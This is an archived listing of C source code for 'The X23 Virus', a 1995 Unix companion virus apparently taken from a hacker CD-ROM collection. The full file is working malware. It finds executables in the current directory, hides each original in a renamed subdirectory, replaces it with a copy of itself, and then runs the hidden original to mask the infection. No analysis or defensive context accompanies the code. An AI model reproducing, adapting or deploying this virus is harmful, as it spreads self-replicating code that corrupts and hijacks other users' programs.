home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / UNIX / X23.C < prev    next >
Encoding:
C/C++ Source or Header  |  1995-07-28  |  4.2 KB  |  91 lines

  1. /* The X23 Virus for BSD Free Unix 2.0.2 (and others)              */
  2. /* (C) 1995 American Eagle Publications, Inc. All rights reserved! */
  3. /* Compile with Gnu C, "GCC X23.C"                                 */
  4.  
  5. #include <stdio.h>
  6. #include <sys/types.h>
  7. #include <dirent.h>
  8. #include <sys/stat.h>
  9.  
  10. DIR *dirp;                            /* directory search structure */
  11. struct dirent *dp;                    /* directory entry record */
  12. struct stat st;                       /* file status record */
  13. int stst;                             /* status call status */
  14. FILE *host,*virus;                    /* host and virus files. */
  15. long FileID;                          /* 1st 4 bytes of host */
  16. char buf[512];                        /* buffer for disk reads/writes */
  17. char *lc,*ld;                             /* used to search for X23 */
  18. size_t amt_read,hst_size;             /* amount read from file, host size */
  19. size_t vir_size=13128;                /* size of X23, in bytes */
  20. char dirname[10];                     /* subdir where X23 stores itself */
  21. char hst[512];
  22.  
  23. int main(argc, argv, envp)
  24.   int argc;
  25.   char *argv[], *envp[];
  26.   {
  27.     strcpy((char *)&dirname,"./\005");         /* set up host directory name */
  28.     dirp=opendir(".");                              /* begin directory search */
  29.     while ((dp=readdir(dirp))!=NULL) {           /* have a file, check it out */
  30.       if ((stst=stat((const char *)&dp->d_name,&st))==0) {      /* get status */
  31.         lc=(char *)&dp->d_name;
  32.         while (*lc!=0) lc++;
  33.         lc=lc-3;                    /* lc points to last 3 chars in file name */
  34.         if ((!((*lc=='X')&&(*(lc+1)=='2')&&(*(lc+2)=='3')))         /* "X23"? */
  35.                  &&(st.st_mode&S_IXUSR!=0)) {              /* and executable? */
  36.           strcpy((char *)&buf,(char *)&dirname);
  37.           strcat((char *)&buf,"/");
  38.           strcat((char *)&buf,(char *)&dp->d_name);        /* see if X23 file */
  39.           strcat((char *)&buf,".X23");                      /* exists already */
  40.           if ((host=fopen((char *)&buf,"r"))!=NULL) fclose(host);
  41.           else {                                   /* no it doesn't - infect! */
  42.             host=fopen((char *)&dp->d_name,"r");
  43.             fseek(host,0L,SEEK_END);                   /* determine host size */
  44.             hst_size=ftell(host);
  45.             fclose(host);
  46.             if (hst_size>=vir_size) {        /* host must be large than virus */
  47.  
  48.               mkdir((char *)&dirname,777);
  49.               rename((char *)&dp->d_name,(char *)&buf);        /* rename host */
  50.               if ((virus=fopen(argv[0],"r"))!=NULL) {
  51.                 if ((host=fopen((char *)&dp->d_name,"w"))!=NULL) {
  52.                   while (!feof(virus)) {            /* and copy virus to orig */
  53.                     amt_read=512;                                /* host name */
  54.                     amt_read=fread(&buf,1,amt_read,virus);
  55.                     fwrite(&buf,1,amt_read,host);
  56.                     hst_size=hst_size-amt_read;
  57.                     }
  58.                   fwrite(&buf,1,hst_size,host);
  59.                   fclose(host);
  60.                   strcpy((char *)&buf,(char *)&dirname);     /* make it exec! */
  61.                   strcpy((char *)&buf,"/");
  62.                   strcat((char *)&buf,(char *)&dp->d_name);
  63.                   chmod((char *)&buf,S_IRWXU|S_IXGRP|S_IXOTH);
  64.                   }
  65.                 else
  66.                   rename((char *)&buf,(char *)&dp->d_name);
  67.                 fclose(virus);                  /* infection process complete */
  68.                 }                                            /* for this file */
  69.               else
  70.                 rename((char *)&buf,(char *)&dp->d_name);
  71.               }
  72.             }
  73.           }
  74.         }
  75.       }
  76.     (void)closedir(dirp);          /* infection process complete for this dir */
  77.     strcpy((char *)&buf,argv[0]);          /* the host is this program's name */
  78.     lc=(char *)&buf;
  79.     while (*lc!=0) lc++;
  80.     while (*lc!='/') lc--;
  81.     *lc=0; lc++;
  82.     strcpy((char *)&hst,(char *)&buf);
  83.     ld=(char *)&dirname+1;
  84.     strcat((char *)&hst,(char *)ld);
  85.     strcat((char *)&hst,"/");
  86.     strcat((char *)&hst,(char *)lc); 
  87.     strcat((char *)&hst,".X23");                     /* with an X23 tacked on */
  88.  
  89.     execve((char *)&hst,argv,envp);            /* execute this program's host */
  90.     }
  91.